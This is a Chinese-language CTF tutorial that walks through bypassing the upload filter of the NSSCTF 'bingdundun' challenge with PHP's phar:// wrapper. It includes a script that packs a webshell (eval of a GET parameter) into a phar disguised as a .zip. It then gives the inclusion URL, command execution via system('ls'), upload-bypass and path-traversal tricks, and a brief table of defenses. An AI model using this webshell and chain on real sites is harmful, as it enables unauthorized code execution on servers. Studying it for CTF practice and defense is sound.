CTF实战:手把手教你用phar伪协议绕过NSS靶场文件上传限制
CTF实战:手把手教你用phar伪协议绕过NSS靶场文件上传限制
在网络安全竞赛和渗透测试中,文件上传漏洞一直是高频考点。今天我们将深入探讨如何利用PHP的phar伪协议,绕过NSSCTF平台"bingdundun"题目的文件上传限制,实现远程代码执行(RCE)。不同于简单的Writeup,本教程将从原理到实践,带你完整走通整个攻击链。
1. 环境分析与漏洞定位
首先访问题目链接,我们会看到一个文件上传界面,提示"只能上传图片或者压缩包"。这种限制在CTF和实际渗透中非常常见,通常通过检查文件扩展名或MIME类型来实现。
关键发现点:
- URL中存在GET参数
bingdundun=index - 测试发现参数值会被自动追加
.php后缀 - 上传功能仅允许图片(
.jpg,.png等)或压缩包(.zip,.rar等)
通过简单测试,我们可以推测后台可能存在文件包含漏洞。当传入?bingdundun=filename时,服务器会尝试包含filename.php文件。这为我们后续利用phar伪协议提供了可能。
注意:在实际测试中,建议先尝试上传正常图片,观察服务器返回的存储路径和文件名处理方式,这对后续攻击很有帮助。
2. phar伪协议核心原理
phar(PHP Archive)是PHP的一种打包格式,类似于Java的JAR。从PHP 5.3开始默认支持.phar文件操作。phar伪协议最强大的特性在于它能解析多种压缩格式,而不仅限于.phar后缀。
phar文件结构解析:
- Stub:文件头,必须包含
__HALT_COMPILER();语句 - Manifest:描述压缩内容,包含文件元数据(可序列化)
- File Contents:实际压缩的文件内容
- Signature(可选):文件签名
与其他压缩协议(zip://, bzip2://等)相比,phar://有以下优势:
- 支持更多压缩格式
- 不严格依赖文件扩展名
- 可以触发反序列化操作(通过metadata)
3. 构造恶意phar文件
虽然题目允许上传.zip文件,但我们将演示更通用的phar文件构造方法。以下是创建恶意phar文件的PHP脚本:
<?php $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); // 添加包含恶意代码的文件 $phar->addFromString('shell.php', '<?php eval($_GET["cmd"]); ?>'); // 可以添加metadata用于反序列化攻击 // $phar->setMetadata(['key' => 'value']); $phar->stopBuffering(); ?>执行此脚本后,会生成exploit.phar文件。我们可以直接上传它,或者重命名为.zip扩展名以绕过上传限制。
关键技巧:
- 即使重命名为.jpg,只要内容符合phar格式,仍可被解析
- 最小phar文件只需包含stub和至少一个文件
- 可以通过
php -d phar.readonly=0 script.php禁用只读模式
4. 完整攻击链实现
现在我们将各个步骤串联起来,实现完整的攻击流程:
上传阶段:
- 将生成的phar文件重命名为
exploit.zip - 上传到服务器,记下返回的存储路径,如
/uploads/exploit.zip
- 将生成的phar文件重命名为
文件包含触发:
- 构造URL:
?bingdundun=phar://uploads/exploit.zip/shell - 服务器会解析为:
phar://uploads/exploit.zip/shell.php - 由于phar协议会自动解压并访问内部文件,我们的shell.php将被执行
- 构造URL:
RCE实现:
- 访问包含后的URL,附加命令参数:
&cmd=system('ls'); - 服务器将执行我们注入的PHP代码
- 访问包含后的URL,附加命令参数:
常见问题排查:
- 如果返回空白,可能是phar文件构造有问题,检查stub格式
- 如果报错"not a valid phar archive",尝试重新生成或使用zip格式
- 确保内部文件路径与包含时指定的路径一致
5. 防御措施与进阶思考
了解攻击手段后,我们更应该思考如何防御此类漏洞。以下是几种有效的防护方案:
| 防御措施 | 实现方式 | 有效性 |
|---|---|---|
| 文件内容检查 | 使用getimagesize()验证图片真实性 | 中 |
| 重命名上传文件 | 生成随机文件名,避免目录遍历 | 高 |
| 禁用危险协议 | 在php.ini中限制phar://等协议 | 高 |
| 权限隔离 | 上传目录禁止执行PHP | 高 |
在更复杂的场景中,phar协议还可以与反序列化漏洞结合,通过精心构造的metadata实现更深入的攻击。这要求我们不仅要关注文件上传本身,还要注意整个应用的处理流程。
6. 其他压缩协议对比
除了phar://,PHP还支持多种压缩流协议,它们在CTF中各有应用场景:
协议对比表:
| 协议 | 所需扩展 | 支持格式 | 自动解压 | 反序列化风险 |
|---|---|---|---|---|
| phar:// | 内置 | phar, zip | 是 | 高 |
| zip:// | zip | zip | 是 | 无 |
| bzip2:// | bz2 | bz2 | 是 | 无 |
| zlib:// | zlib | gz | 是 | 无 |
选择协议时,zip://通常是最兼容的方案,而phar://功能最强大但风险也最高。在实际渗透测试中,可以依次尝试这些协议,寻找可用的攻击面。
7. 实战技巧与经验分享
在真实CTF比赛和渗透测试中,有几点经验值得分享:
文件扩展名绕过:
- 尝试
.phar、.zip、.jpg等多种扩展名 - 测试大小写变种(
.pHp、.PhAr) - 使用双扩展名(
exploit.jpg.php)
- 尝试
内容混淆技术:
- 在phar文件中添加真实的图片数据
- 使用polyglot技术构造既是图片又是phar的文件
- 通过注释添加垃圾数据干扰检测
路径遍历技巧:
- 尝试绝对路径包含:
phar:///var/www/uploads/exploit.zip - 测试相对路径:
phar://../uploads/exploit.zip - 结合目录穿越实现更灵活的包含
- 尝试绝对路径包含:
遇到上传限制时,不要轻易放弃。多角度思考、全面测试每个可能的入口点,往往能在看似严密的防御中找到突破口。
